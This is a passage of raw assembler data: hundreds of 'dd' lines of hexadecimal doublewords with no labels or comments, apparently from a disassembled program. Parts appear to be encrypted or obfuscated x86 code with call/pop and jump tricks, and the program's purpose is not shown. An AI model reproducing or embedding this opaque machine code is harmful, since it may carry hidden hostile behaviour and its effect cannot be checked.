		dd 0B874A962h, 0D6B253E6h, 27DBF72Eh, 0FEA52E4Bh, 0E2C9B7C9h
		dd 92338660h, 0D3D3A884h, 1B0ED7DEh, 923386A7h,	0EDFFE33Fh
		dd 3F0253Eh, 0E965C198h, 20C37D9Ch, 0B66A9F48h,	6B1F96BAh
		dd 243A1430h, 0F4B3F495h, 503B1051h, 9E1558E3h,	841DCC01h
		dd 0B0CFB83Ah, 718BE79Bh, 530746EAh, 7CE120C4h,	40357E7Bh
		dd 145A4B5Bh, 4A00000Bh, 72E965A8h, 50C783BAh, 6DEC6099h
		dd 3AC17DBAh, 0E5E35796h, 7AB96B99h, 559637BEh,	71AC62D9h
		dd 50853EBDh, 1C0FF1DCh, 6BD9A3A6h, 0D7DB613Eh,	7C4002A9h
		dd 0C8A46DCCh, 4C215E11h, 2A9EDD8Fh, 0BBFF4ABh,	2A9D77Dh
		dd 6DCC7C40h, 5F11C8A4h, 0DBF07420h, 5E706B8Ah,	0FC7C86ABh
		dd 0F0A48067h, 23831DA9h, 3E7F3294h, 558E3352h,	1EB50EA1h
		dd 13B2C1B2h, 427F24B7h, 2F5D24Eh, 397B36AFh, 0A88Fh, 7932FD00h
		dd 97395044h, 90FDAC58h, 0A76DCC00h, 880FCB00h,	9BD0AADFh
		dd 6E318522h, 21DDFAECh, 0C49645D4h, 314DCC5h, 0AA1EFA98h
		dd 431DBE55h, 15BEFA48h, 2C3E1A9Eh, 0A5E68752h,	0DB5875F1h
		dd 4910EA29h, 27C861A5h, 0DD87878Bh, 4F8E42F9h,	34AABFA3h
		dd 832903A5h, 28C3284Ch, 0E44034EFh, 0A29A730h,	0AF5F0000h
		dd 0C369F06Ch, 0A449D08Ch, 0C368EF6Bh, 0A143D286h, 8400E662h
		dd 0B773B256h, 904C8D40h, 0AE2A6509h, 8F4B8027h, 59E9A09Ch
		dd 0BD6BD99Ch, 7E3254E0h, 2AB18B3Fh, 0BEFDAF83h, 5572EEA2h
		dd 3CF025DEh, 4E7932AEh, 0CC7CE75Bh, 3F23FF6Dh,	568B3453h
		dd 65767DE2h, 1E3FA08Bh, 6BC767FCh, 637F5C91h, 7318EDDCh
		dd 4401A856h, 0A994233Dh, 337E7B1Ah, 13397BE9h,	6A8h, 1EBD5C79h
		dd 5D4C324Ch, 6DCC7CE5h, 2A62501h, 64FDA6C3h, 8267FC1Fh
		dd 391D560Bh, 0A1A01E4Dh, 30439423h, 4C795491h,	7959397Bh
		dd 0B3000006h, 4C1EBD5Ch, 0FC20CC5Dh, 927EDA67h, 23A17BC3h
		dd 4AE99A94h, 7B4D5EAFh, 65A3E39h, 158C0000h, 3BA037BAh
		dd 20F96A21h, 0E5FB67FCh, 23A09C26h, 0DFFC7894h, 0D3843F1Bh
		dd 6016FA52h, 0CD75344Ah, 290016CEh, 46CD304Dh,	9FD0BB95h
		dd 50A26A2h, 0AB578E36h, 1D39782Ch, 0CDE3A40h, 0D27F8DDFh
		dd 14E9887Fh, 2A169D12h, 0A07E3F85h, 1F413DD5h,	0EFD34F43h
		dd 5AE62EDDh, 0C29E0036h, 0F995D6A8h, 0DAC26296h, 5F1348FFh
		dd 0EBFADF03h, 0E1F86CEFh, 1BC48F6Ch, 0A44514E6h, 49D08663h
		dd 0E3006DA2h, 0ABD252A9h, 8D5EAFBh, 5B0B0000h,	6F15A418h
		dd 50F58438h, 6F14A317h, 4DFF7632h, 50AC9A0Eh, 7B2F6E22h
		dd 540849FCh, 72E621C5h, 53073CE3h, 1DA56458h, 0F96BD99Eh
		dd 96D730FCh, 751849B1h, 0D40C0734h, 0EB2CDD5Ch, 739E450Eh
		dd 0CC430AB8h, 526EEA6Dh, 19C2519Eh, 92CF7447h,	4B376C13h
		dd 3BEE12E7h, 67F665C3h, 0D33CB69Bh, 7EB6E623h,	0F73FE662h
		dd 639426AEh, 0E01DD289h, 5F817B0Bh, 26AE16ACh,	269EE94h
		dd 95DB557Eh, 9497698Dh, 94269B2Eh, 0C68D6AC6h,	0F74E81Dh
		dd 0E3FDCF0Ch, 269B9A28h, 0C99E7A94h, 9B56F4B7h, 0B2AE9426h
		dd 0EB20C7BEh, 99C3DC11h, 8191E390h, 9B33F26Ch,	0AC94267Eh
		dd 7CC6C5F6h, 9894267Eh, 0A5A6B89Ch, 39A4D4BBh,	0A41A2F15h
		dd 4D396E15h, 2619A01Eh, 6B0A9994h, 70EC21CAh, 190D42E9h
		dd 2689F452h, 6AA54994h, 306B1FB6h, 0DD740744h,	17AE45EFh
		dd 4E20550Eh, 9C97930h,	312D9426h, 0C499D47Ah, 13F89FAh
		dd 32030000h, 39504479h, 0CD0EBF95h, 0D00DC2D9h, 40244024h
		dd 0AD5FDA54h, 10B2596Eh, 2D6DCC7Ch, 60554176h,	0C1688259h
		dd 67F65A45h, 4A933C21h, 577B76C0h, 0A78B77B4h,	48FAB1CBh
		dd 0AC9426E0h, 0C02794B0h, 6C4A02C9h, 77D2FB8h,	13B30000h
		dd 27DD5CD0h, 8BD3CF0h,	27DC5BCFh, 45E76EEAh, 28545206h
		dd 63D716BAh, 3CF031D4h, 5ACE09BDh, 3BEF24DBh, 5BD6C50h
		dd 0E16BD99Fh, 79323804h, 97395044h, 0BD458658h, 8FCE96C8h
		dd 3A71178Eh, 6C22991Dh, 45FE7D31h, 6B1D9C10h, 0AF61782Ch
		dd 5E058470h, 0A95E7D29h, 12B1B86Ch, 2B504D73h,	1A73294h
		dd 342223C1h, 587CCAE8h, 3A14B883h, 0CBA75B92h,	0A56833A7h
		dd 15336AF9h, 2485DD8h,	7A2EF19Fh, 7EB473Bh, 8C619850h
		dd 19E4h, 0DBF1DA00h, 0F29C7C68h, 4021ABC0h, 0A8h, 0D3490B40h
		dd 0D2E89216h, 79322FF5h, 0BD095044h, 9F6DCC0Ch, 3BE44DE4h
		dd 1F0AF406h, 92338CA3h, 5E934C43h, 0E221C382h,	0A115322Eh
		dd 4D39741Ah, 338CA11Eh, 92D37692h, 0A41E7DEh, 0DD652416h
		dd 3992338Ch, 0D66D0E3Dh, 1DB483EAh, 77336E14h,	417C32F1h
		dd 55903655h, 38D7ECA1h, 2C671B9Eh, 0A3DE844Fh,	9405A4C9h
		dd 7968F552h, 0CCE73092h, 7C58D46Dh, 7B30D75Fh,	0E96DCC9Fh
		dd 0FDD86204h, 9382FBDEh, 6DCC392Fh, 94876BC7h,	336AE538h
		dd 0FFFE7E1Ah, 96D770FFh, 0F2A6E9ADh, 0EB372F3h, 2D49F8D5h
		dd 0C3000003h, 5B4E7932h, 6DCC7CE7h, 533F23FFh,	0CC7CAA04h
		dd 0F58C2B6Dh, 8A3E732Ch, 731F540Bh, 0CC7C8A24h, 0CF04BB6Dh
		dd 9447CE23h, 5A37CFBAh, 53CF67F6h, 27795E6h, 0E8F1A54Ah
		dd 5F7h, 7E3A7D2Dh, 9E1A51F7h, 85397217h, 981451F6h, 7C306F21h
		dd 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h, 7A8669E5h
		dd 0D999338Fh, 4ED6D36Bh, 50447932h, 86589739h,	913612B3h
		dd 0A0847054h, 0B22913CBh, 0B9D0C4F9h, 0E3F8DC13h, 0BE7AAF58h
		dd 0A9609537h, 6DCC7C19h, 2B4521FDh, 64CAF342h,	55725BEEh
		dd 3F7E32A9h, 0CE65F653h, 0D286C567h, 6B6CC607h, 276A633h
		dd 5CE40000h, 3F661AC1h, 6EDF7BB5h, 65801F54h, 325A288Ch
		dd 25F6Ch, 4D7DE00h, 0A6E18561h, 0CD50ADCAh, 49FCCC73h
		dd 0F608EC08h, 9185BE63h, 33721695h, 0FB474216h, 1B6DCC7Ch
		dd 8804533Fh, 476EDF7Bh, 80BD72E9h, 0BC39D86Bh,	325A28F1h
		dd 0F736DA61h, 21E6EE2h, 5CDC0000h, 1E401AC1h, 0CC7CD76Bh
		dd 16332F6Dh, 7CE74742h, 431F6DCCh, 7B8C084Fh, 0C77D6EDFh
		dd 41E5E490h, 0F9881A06h, 0EE25DB5Ah, 51421E02h, 0B80A01DFh
		dd 5C6CDD7Dh, 0B958EB00h, 5A28713Ch, 1DA5132h, 5CBB0000h
		dd 49401AC1h, 6DCC7CE1h, 0E5D4925h, 6EDF7B82h, 0E591D273h
		dd 1A063FE6h, 765AF988h, 9A5FF68Dh, 325A2957h, 1AF37h
		dd 79329500h, 0FB185C3Bh, 3F11FC4Bh
		dd 0CCF9F64Ch, 2E120E6Dh, 679C4342h, 9F709F3h, 0CCF9A022h
		dd 41E8446Dh, 6DCCF981h, 91F40965h, 84875982h, 67FC94A7h
		dd 964E0D5Fh, 130AB85Fh, 0D3EA943Ch, 0F4D0F42Fh, 70AB5FDAh
		dd 42FCAB5Bh, 0A1943C13h, 9B767312h, 7B397ABAh,	46h, 0F996D7D1h
		dd 6E6F62B5h, 601BFBF0h, 320E1452h, 0AA31C815h,	0EAF8D9D0h
		dd 0A71E67FCh, 5BD7CB00h, 36371D6Eh, 0A2BEFF9Eh, 0F71FA7EEh
		dd 0C5FE943Ch, 782DAC2Eh, 0A8E1883Fh, 9C6378FCh, 397AAB51h
		dd 0EA31h, 79329B00h, 97395044h, 0CB38658h, 2D49883Ch
		dd 1EE0FD79h, 0D7CB00A7h, 953707C0h, 0F0EF674Dh, 75518F13h
		dd 0E0CBA581h, 6DCCBC62h, 0ECAA682h, 0EB57522Ch, 0B6DCCBCh
		dd 24513A0Fh, 0C06DCCC0h, 0C057EB9Eh, 0B3AF6DCCh, 31661D96h
		dd 4A91287Dh, 0D48B4E30h, 40245D04h, 932FDA54h,	736DCCC0h
		dd 5FEDBF7h, 67FA0D3Fh,	62E0CBB5h, 8294227Bh, 42792FA6h
		dd 8037525h, 94227BBAh,	0B0C1A725h, 2AE2F186h, 2638122Eh
		dd 9CB1F293h, 1C2E6D1Fh, 0F9ADEA9Dh, 4D6607Dh, 0AB579035h
		dd 463A772Ch, 6AF106EAh, 0A3E287C6h, 0EF4A0601h, 365AE37h
		dd 0EB9B0000h, 0FFA534A8h, 0E08514C8h, 0FFA433A7h, 0DD8F06C2h
		dd 0C03C2A9Eh, 2B9FDE92h, 4B8F9ACh, 2296D175h, 3B7EC93h
		dd 0CD753408h, 296BD99Bh, 7E3200CCh, 530C8B3Fh,	321CAA1Eh
		dd 39504479h, 0D00DC292h, 349138F4h, 356DCC7Ch,	98233D9Eh
		dd 4DF6B5F4h, 6E1D4318h, 67FC2BE5h, 3894521h, 50447932h
		dd 8C55EDDEh, 0A32AC7FEh, 0CC175AE8h, 825EBA6Dh, 35EE65h
		dd 0FBE0F74Ch, 7A012AE1h, 58E367FCh, 9E6479B0h,	95D6A8C2h
		dd 93238238h, 60E2C946h, 84943CCDh, 457A31A8h, 6F8D551h
		dd 3CCDE75Fh, 0D66D0694h, 7A78BA13h, 479A39h, 0D7F00000h
		dd 6F235E04h, 7087D6F3h, 916F916Bh, 0CC7C289Ah,	7B50CC6Dh
		dd 0FC7CA390h, 1B076367h, 270E3F21h, 0CAF9305Bh, 5202C067h
		dd 681B9423h, 3FB772Bh,	0ED595227h, 10942352h, 0D819DC73h
		dd 0B8397C07h, 0DEh, 4E793212h,	0CC7CE75Bh, 5990386Dh
		dd 0FDA9CDA9h, 14AE5D83h, 0F06DCC7Ch, 28DC5774h, 0E59E3DE9h
		dd 1EC5C4B0h, 785C994Eh, 74516566h, 0EBD46E1Dh,	34306DCCh
		dd 64606107h, 8B6084BDh, 0DA7B14D3h, 934C6DCCh,	0B46BEA5Eh
		dd 971E937Fh, 0BA7F2A44h, 4C67FCDAh, 0F0075CD0h, 0DDC11EBh
		dd 0D811B8EEh, 0C5779FF3h, 0E1D9D0A8h, 59E0A5Ch, 0E0845729h
		dd 0FAAE2DA1h, 7AC90EBBh, 75214036h, 1EE64h, 3F822400h
		dd 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h, 1738F7Dh
		dd 1D9C104Fh, 28AF2B6Ch, 4934782h, 0B7B2265Bh, 957CC6C5h
		dd 1B986BD9h, 0D196D791h, 6D468AB5h, 0DE92491Eh, 0F3AC2B9Fh
		dd 0B2BFACBEh, 6B49A90Ah, 9E803613h, 5138651Bh,	6DCCA2F1h
		dd 493D1915h, 7BBA6EEDh, 0A9D7C65Eh, 0CC7C4002h, 35236F6Dh
		dd 0D40C8838h, 0C8FFA51Ch, 5F7C58DCh, 0AE4F7FEh, 83C465F4h
		dd 5294BD66h, 7267FCh, 3C51B909h, 0E5015D94h, 6A213F31h
		dd 943C51D8h, 200BE03Ch, 943C51A6h, 0BD70EB45h,	25BC5F7Ch
		dd 7B08EDC0h, 0BDCD39h,	323F0000h, 0DE504479h, 0B66AA95Bh
		dd 72169DBAh, 7F183F33h, 506DCC00h, 63886297h, 0E5ACEFAFh
		dd 3BC7B03h, 293E22CEh,	487D26B5h, 8B50675Ch, 2171BA71h
		dd 0DF39803h, 2366A41Eh, 0F7E44094h, 9EEA1975h,	0F1B1C67Fh
		dd 4D6CB975h, 1CCDBC8Eh, 889E1559h, 0BE01FD1h, 7A411B17h
		dd 942397D6h, 0DD03A8F0h, 3F762758h, 11BCF64Ch,	2E120E9Eh
		dd 956AA512h, 0CEC64035h, 0C6C5h, 74AFC00h, 0E51CC453h
		dd 23BF269h, 0DF1CCF46h, 0F938EC6Bh, 0C93B4745h, 0E574E827h
		dd 0D0470344h, 0EC6BDF1Ah, 5F4AFE33h, 9614AE5Dh, 0F3F06BD9h
		dd 296D729h, 0C81159A5h, 3A52E4Bh, 0DA9108C4h, 32A329A5h
		dd 0F3A43B79h, 47967AB3h, 0B9BD69A2h, 0CECDB99Dh, 176CE015h
		dd 0A01DB00h, 67F6F5F0h, 7646FD94h, 92AE92D3h, 0B40E7DEh
		dd 0EA1FC84Fh, 20836F36h, 6BCDFA5h, 0CC0D7CBh, 0FDA6D9CDh
		dd 0F5E05166h, 7316ED73h, 4CE3BC4Fh, 55093EE5h,	16E81DC6h
		dd 0B561A243h, 90EA9CB1h, 80EFD35Bh, 4419A74Bh,	0EB97D477h
		dd 2FAB4AF9h, 0C8BCF5ACh, 1BC48F6Ch, 0D18872E6h, 500BE01Fh
		dd 25AE6297h, 3, 326D5F97h, 52493D80h, 19B06499h, 4F463A75h
		dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
		dd 0CF554178h, 81E78957h, 4C7h,	4EF8100h, 87000000h, 895C243Ch
		dd 0C8682434h, 8900003Ah, 0DE682434h, 8900000Fh, 0A768242Ch
		dd 8B0615DEh, 0C4832434h, 2C8B5404h, 4C48324h, 18B85051h
		dd 0B91C025Ch, 1C025C20h, 158C129h, 593189E9h, 57242C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 348B5C24h,	0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0FA94CFE9h, 0D28B65FFh
		dd 0EB21B89Ah, 0C5030615h, 123AE0FFh, 0E84F6948h, 18DE7F48h
		dd 72612C14h, 0F945450Dh, 9B736512h, 57E52EA7h,	0F33B0A20h
		dd 3A306567h, 50997DF1h, 0F99D6524h, 8D7D5CEFh,	0FD6D7B49h
		dd 6707423Bh, 29C713B8h, 0FAD4461Eh, 0C8FD254Eh, 1051EFh
		dd 167F6FA6h, 95C35D97h, 84265F82h, 0DE3510F3h,	44FC1BD3h
		dd 0A50822A1h, 72235E4Ah, 0FD3F6156h, 51C72546h, 725C6957h
		dd 71BC1E99h, 739E6557h, 0A5908E0h, 4EEA5C3Bh, 0C08B41D2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E0C35646h
		dd 0F1E8A44Fh, 0B830F97h, 0F000000h, 588h, 0E2816600h
		dd 0BD83EE72h, 610158Dh, 83097500h, 100095BDh, 19740006h
		dd 0C08B5350h, 3FCB8h, 65858900h, 8D06100Eh, 12B8159Dh
		dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 3FCB8h, 65858900h
		dd 8D06100Eh, 12B5049Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 23B06384h
		dd 0EE927h, 0E8BE0000h,	54348E9Bh, 356584FEh, 0AC5E479h
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 638954E5h, 60566FA7h, 14E8h, 0C96D7700h
		dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh,	13E988h
		dd 0EA3A0000h, 6063B42Ah, 0F0DF04A2h, 0C21EB576h, 34EA8415h
		dd 52B75A90h, 8B74B661h, 6AC08BD3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E0E1C356h
		dd 27530B03h, 12E9h, 61E59100h,	83008782h, 0D8EA00D8h
		dd 0A96C6C81h, 838773FFh, 102209BDh, 840F0106h,	43h, 0BD831EB7h
		dd 6102D11h, 34850F00h,	0F000000h, 389h, 42EE8000h, 5840Fh
		dd 0C1BB0000h, 834A76C1h, 103105BDh, 840F0006h,	68h, 0EE9h
		dd 7967B500h, 34EE6E46h, 0A2986D74h, 0E9D1A80Ch, 382h
		dd 0A4B6h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 363072C3h, 1D3064Dh, 6A5E8Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 34406AC3h, 0BB791936h, 468EAE68h, 0DE2B1EE2h, 0BD81ADA2h
		dd 232C4D5Eh, 0E08757EBh, 9491F1A7h, 5A78AB7Fh,	3390F9BDh
		dd 1078ABDEh, 0B9226835h, 0B17C8FE3h, 267C8F9Fh, 7278ABEDh
		dd 0FBA468A4h, 0EFC7A4EBh
		dd 0D82D5E37h, 3078ABDEh, 69952A32h, 3F7EBE59h,	30127364h
		dd 307B43BBh, 6E58ABF6h, 44F1F5B8h, 74F9AF99h, 306FAFFAh
		dd 663EAB6Fh, 0AF2D8F74h, 30704279h, 7710ABEDh,	0F3A0E797h
		dd 0F0F30D72h, 0D829ABD7h, 3078ABDDh, 69BBF24Fh, 345CE73Eh
		dd 345CEF5Ah, 3078ABF0h, 0CBBFAB7h, 0E98999A1h,	0DAA22F38h
		dd 0D9283B94h, 3078AB68h, 3445C6B4h, 0A0908F7Bh, 0D82BAB87h
		dd 3078ABF5h, 6BBBF05Bh, 345CF734h, 345CEF5Fh, 3078AB72h
		dd 14BBF8F4h, 12CA0420h, 0C9171BB2h, 7C79A4D9h,	2290555Fh
		dd 0C078ABBDh, 0B8DED51Ah, 1BB21A23h, 52207523h, 0D131B67Fh
		dd 30684365h, 64F6ABF6h, 0E6262323h, 0A7325823h, 77C116Ch
		dd 6A2EC08Ch, 5A20F0EDh, 3390FEDBh, 1078ABEDh, 0B92568ABh
		dd 0B17C8F17h, 2B7C8FF9h, 7578ABDEh, 0F1EE683Ah, 9CE6F29Dh
		dd 0E1F3F311h, 307AA7E8h, 0B377FDF6h, 3078AB7Dh, 0F38C413Ch
		dd 5623F4D1h, 0BB7AA3D5h, 6178C1BFh, 3078A833h,	0F3218BEDh
		dd 143422AFh, 143C2A7Fh, 3078B1B9h, 0F329EADEh,	39C7CC24h
		dd 0CC6565EDh, 0CC3020BDh, 3078AD04h, 0A41151F6h, 884DC14Fh
		dd 3078ABBCh, 0D82AABB4h, 3078AB6Ch, 6ABBF197h,	345CFF52h
		dd 345CEF6Ch, 3078ABEFh, 46BBF939h, 7128E5D9h, 3D913ACDh
		dd 9C78AB6Fh, 0A392F66Bh, 2789C3D6h, 7C27A53Fh,	0BB1ECBA6h
		dd 3075428Ch, 0E0C7ABBDh, 97121505h, 0EA53DBA3h, 5179E5C0h
		dd 0F4C2CD4Ah, 0E9F4CD43h, 0D82AAB9Ch, 3078AB78h, 6ABBF19Dh
		dd 345CFF57h, 345CEFEEh, 3078ABAAh, 0B1BBF999h,	3C6A8880h
		dd 79155C4Eh, 34B95D6Ah, 30912EB2h, 3012ABDEh, 307B433Ch
		dd 6B58ABB7h, 6CF1F018h, 74F9AFC9h, 306DAFD2h, 633BAB7Bh
		dd 3F2D307Eh, 5A217D61h, 3390FB6Fh, 1078ABB7h, 0B9206883h
		dd 0B17C8FA9h, 257C8FB2h, 7078AB7Bh, 0BBDF68EDh, 0E0810064h
		dd 73BE2B7Ah, 3F109237h, 3078755Eh, 0BBC719EDh,	3012AA8Fh
		dd 307B432Bh, 6858ABBDh, 74F1F31Dh, 74F9AF4Bh, 3065AF93h
		dd 6038ABDBh, 0FA7B3A2Eh, 0C0954EA3h, 56A70FAFh, 798C693Ch
		dd 3078BB37h, 66E876Fh,	102F0CECh, 888EA74h, 0A8A5F844h
		dd 30872AC4h, 3FF8AB7Bh, 3078253Fh, 35F7A4DEh, 5678AB6Fh
		dd 47587836h, 0DDB32E1Ch, 3079ADF8h, 8777ABF6h,	300042ACh
		dd 8F77ABBDh, 30114201h, 3012AB6Fh, 307B43E4h, 6B58ABDBh
		dd 6CF1F02Eh, 74F9AFD2h, 3065AF5Fh, 633BABBDh, 0B5AE8C1Dh
		dd 79BE4664h, 690AD913h, 0D828ABB1h, 3078ABEEh,	68BBF3D6h
		dd 345CEFF2h, 345CEF3Ch, 3078ABC5h, 4BBFB2Fh, 134774AEh
		dd 0C99BA6FFh, 3B01288Bh, 24FCA409h, 8678AB7Bh,	0FBFD6C2Dh
		dd 317EBE33h, 5678AB6Fh, 3C37C3Ch, 783F8BDEh, 3379606Ch
		dd 87C1FBABh, 0BD03F77Bh, 258B8838h, 57C526D8h,	0B7EBE9Eh
		dd 7FDF4Fh, 77B17AD4h, 30125E06h, 307B43A4h, 6A58AB7Bh
		dd 64F1F17Eh, 74F9AFFAh, 3065AF4Bh, 623AABB7h, 0A107C518h
		dd 0F078652Ah, 56BEF8CAh, 53B961FAh, 3078AC55h,	8CC67EDEh
		dd 0BEB4EE0Fh, 30F3A4E6h, 6A78ABDBh, 308B2AB6h,	0B369A37Ch
		dd 205AA2C6h, 0B477AABBh, 3078ABB7h, 0D82AAB05h, 3078ABB4h
		dd 6ABBF1FBh, 345CFF64h, 345CEF77h, 3078AB6Fh, 0E1BBF9FFh
		dd 0B3A620B8h, 2055BAD2h, 0B577ABB1h, 3078ABE6h, 0D828AB87h
		dd 3078ABF5h, 68BBF35Bh, 345CEF34h, 345CEF5Fh, 3078AB75h
		dd 82BBFBF7h, 4F71E1FEh, 0C518472Fh, 518F2090h,	75932A1Dh
		dd 35C52826h, 307EBBEFh, 30732F60h, 8777ABB7h, 30D5420Ah
		dd 0C3F8ABEDh, 39C528E4h, 317EBB59h, 30192EB2h,	3012ABDEh
		dd 307B4338h, 6F58ABB7h, 4CF1F418h, 74F9AFC9h, 3065AFD2h
		dd 673FAB7Bh, 0EF90B97Eh, 4B15CEAh, 0B0F49A66h,	63252E65h
		dd 0E99B2ABDh, 0D9BBF0A6h, 3078ABF8h, 0A5B55793h, 8A05738Bh
		dd 5467759Bh, 6491F80Eh, 0D878ABB7h, 3078ABDEh,	441C2FA2h
		dd 3070422Bh, 992AB7Bh,	84F0877h, 6D23AD58h, 0D82AAB05h
		dd 3078ABB4h, 6ABBF1FBh, 345CFF64h, 345CEF77h, 3078AB6Fh
		dd 64BBF9FFh, 3078AE37h, 787D876Fh, 0D9B7F3FAh,	3078ABD4h
		dd 99C10329h, 606A5474h, 0E28D519Eh, 0BDB2F569h, 2596B263h
		dd 0C0F52669h, 887EBE45h, 4B42F7C6h, 11452EDEh,	0FF53ADE6h
		dd 0F77B87C1h, 8838BD03h, 26D8258Bh, 0BE9E57C5h, 0DF4F0B7Eh
		dd 7AD4007Fh, 830677B1h, 0A4F305E9h, 0EDCBBD83h, 74000615h
		dd 858D8D0Dh, 0B806104Eh, 1, 6A40E1FFh,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B74EC355h
		dd 639771CAh, 7E9D68Bh,	9D000000h, 0D6715B58h, 0E88312DFh
		dd 5DB812Dh, 664D1AC7h,	8B383EBAh, 837AB2C0h, 10158DBDh
		dd 9750006h, 95BD83h, 74000610h, 8B535019h, 3FCB8C0h, 85890000h
		dd 610132Dh, 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h
		dd 50177400h, 3FCB853h,	85890000h, 610132Dh, 0B51D9D8Dh
		dd 0D3FF0612h, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0A6C04AC3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 12C35646h, 54FB5BAAh, 0DB816637h
		dd 7E965CCh, 0B2000000h, 62D159C7h, 0C08B8FA3h,	31E9h
		dd 0ADF0D000h, 74h, 0Ah	dup(0)
		dd 0EDE90000h, 6800000Bh, 615F5EAh, 0FB56A7E9h,	0F6C568FFh
		dd 9DE90615h, 68FFFB56h, 615F8BBh, 0FB5693E9h, 0F9A468FFh
		dd 89E90615h, 68FFFB56h, 615FC51h, 0FB567FE9h, 0FDCB68FFh
		dd 75E90615h, 68FFFB56h, 615FEC1h, 0FB566BE9h, 0D385DAFFh
		dd 5F192F7Eh, 0D88AC332h, 70223A8Bh, 0C680D223h, 58DBAB99h
		dd 0AA1B4802h, 55A8FDB7h, 0B3024F01h, 3BB9E6A0h, 393C5BA8h
		dd 0BF191DDEh, 0B3AB5ACBh, 8BD48201h, 506F293Ah, 6377D201h
		dd 53A8FDA9h, 453857A4h, 711D17C8h, 0E99DC130h,	5A536D1Ah
		dd 68141DD8h, 786B1A69h, 2EC1D01Bh, 0E89411B8h,	486915BCh
		dd 0B82EACBFh, 0F1AC2311h, 3346B142h, 2211B82Fh, 97497D72h
		dd 0C946CCD6h, 4637BE93h, 8B000000h, 5BB6AB5Ah,	7A194D07h
		dd 200EA3CCh, 81A655Ch,	0FE1DD846h, 1BA25C6Fh, 56462E6Fh
		dd 0EC81A67h, 3880C36Fh, 6377DEDh, 8AD5FE9Fh, 11B905E3h
		dd 0E6BC75ECh, 0BE92F680h, 0E471h, 6E631200h, 40610DB4h
		dd 0AC075C6Ah, 99B300B2h, 0C514BBE7h, 65B4DB95h, 0C815BC76h
		dd 0C81D3893h, 0C8451C3Bh, 194D3917h, 8F29BD7Ah, 2C5AA76h
		dd 5E4D024Eh, 5C05B70Fh, 0C88AAD6Bh, 8DE8FB17h,	0AEFB823Ch
		dd 31DDE496h, 91643165h, 0CA398842h, 0C8811A3Dh, 0C43C3B17h
		dd 222021C5h, 0C4CF90C4h, 3A89FD61h, 0DE65CEC9h, 537E1E2h
		dd 3E2D6B5Ch, 0C791DD9h, 0C8761DD7h, 0B4E18DA7h, 867D012Dh
		dd 832CDEF7h, 0D975F380h, 120217CBh, 43FD4E9Bh,	65CA91Ah
		dd 0B4A6174Ch, 0FDDEFCFAh, 0A72AE211h, 99E11h, 0AB5D7200h
		dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh,	50D3A391h
		dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 39E47300h
		dd 0D7711DDEh, 4C065C23h, 0FBB5A617h, 0B3A855A6h, 832CDAF9h
		dd 621A4827h, 45E2E08Bh, 0E9951DD8h, 44F69DEAh,	0EEE811B8h
		dd 0C48953Ch, 45B6335Ah, 0A7169AACh, 0B7AE340Eh, 0D09FBE93h
		dd 3C000000h, 0B74499ADh, 11B85098h, 0C285D1BDh, 0AF2EA3A9h
		dd 442647BBh, 464D075Ch, 0AA29E3F7h, 0C84A1B5Dh, 843E8D17h
		dd 33EDDECFh, 8105298Ch, 4E13C532h, 77041DD8h, 0BCEEA963h
		dd 0CC2C96Ah, 5051FE52h, 0D8239AE2h, 17CAC9B9h,	7201F09Ch
		dd 0A5607205h, 0E390E30Bh, 0BA56054h, 20411501h, 4A0456A3h
		dd 0F8B2A815h, 13070A02h, 9D3336E2h, 8C3h, 0C18E4097h
		dd 6D22DCF4h, 0BE934580h, 6E23D5EFh, 0C4914B7Fh, 0CDFD8070h
		dd 5A6F3E13h, 0CC02F3A0h, 6378451Ah, 69F8FCA9h,	0DE3B7B1Eh
		dd 8C7CDA1Dh, 0EEB7AB5Ah, 5A0CA9F3h, 5F5E3250h,	0C71BEAB3h
		dd 7665580Dh, 0C8CB6E19h, 9A8A17C8h, 0F31CF7C6h, 0E7698C9Fh
		dd 0F8F59FB6h, 0D88C9E28h, 5C84CE97h, 0F7464D07h, 0B8D32AE4h
		dd 268B5F3Ah, 1B839F46h, 3D576023h, 1C480256h, 54A11253h
		dd 9B4746F8h, 0B73DFD2h, 476147B4h, 0B6661DD9h,	0DF99CA17h
		dd 2EFCF310h, 15E9E159h, 373E519Eh, 671711B9h, 3D8E5F46h
		dd 9938EAE2h, 0CD1AB9EDh, 0A53D59D0h, 6D28C132h, 9E4DA45Eh
		dd 35133E51h, 0FCAEA87Eh, 5B4B29D5h, 0F7B87266h, 96B03DAEh
		dd 12A3B641h, 0C2B27E35h, 0ABA2EF8Eh, 104ADF9h,	2E7918D2h
		dd 7E351308h, 0C5CC7ED8h, 27A66078h, 99AD4897h,	0B43B211h
		dd 9EE93A59h, 7E3512FBh, 0B5F6AA5Ah, 91C2732Eh,	0CC398AD7h
		dd 24DFDE90h, 73967709h, 7A471B11h, 6412B163h, 0DF99CA3Bh
		dd 11FB93E0h, 6C737E35h, 15CF04B1h, 0A45E6D40h,	0EE96BC1Dh
		dd 2F1674FFh, 53308445h, 0F7C6C0B9h, 260E4F52h,	9AC82976h
		dd 0D6600BE2h, 897E353Ch, 7ED7269Dh, 0DD0AC5CCh, 2D43A2BFh
		dd 0B340AFE3h, 72146EA4h, 0F79CC5B1h, 146E8AACh, 0DD984772h
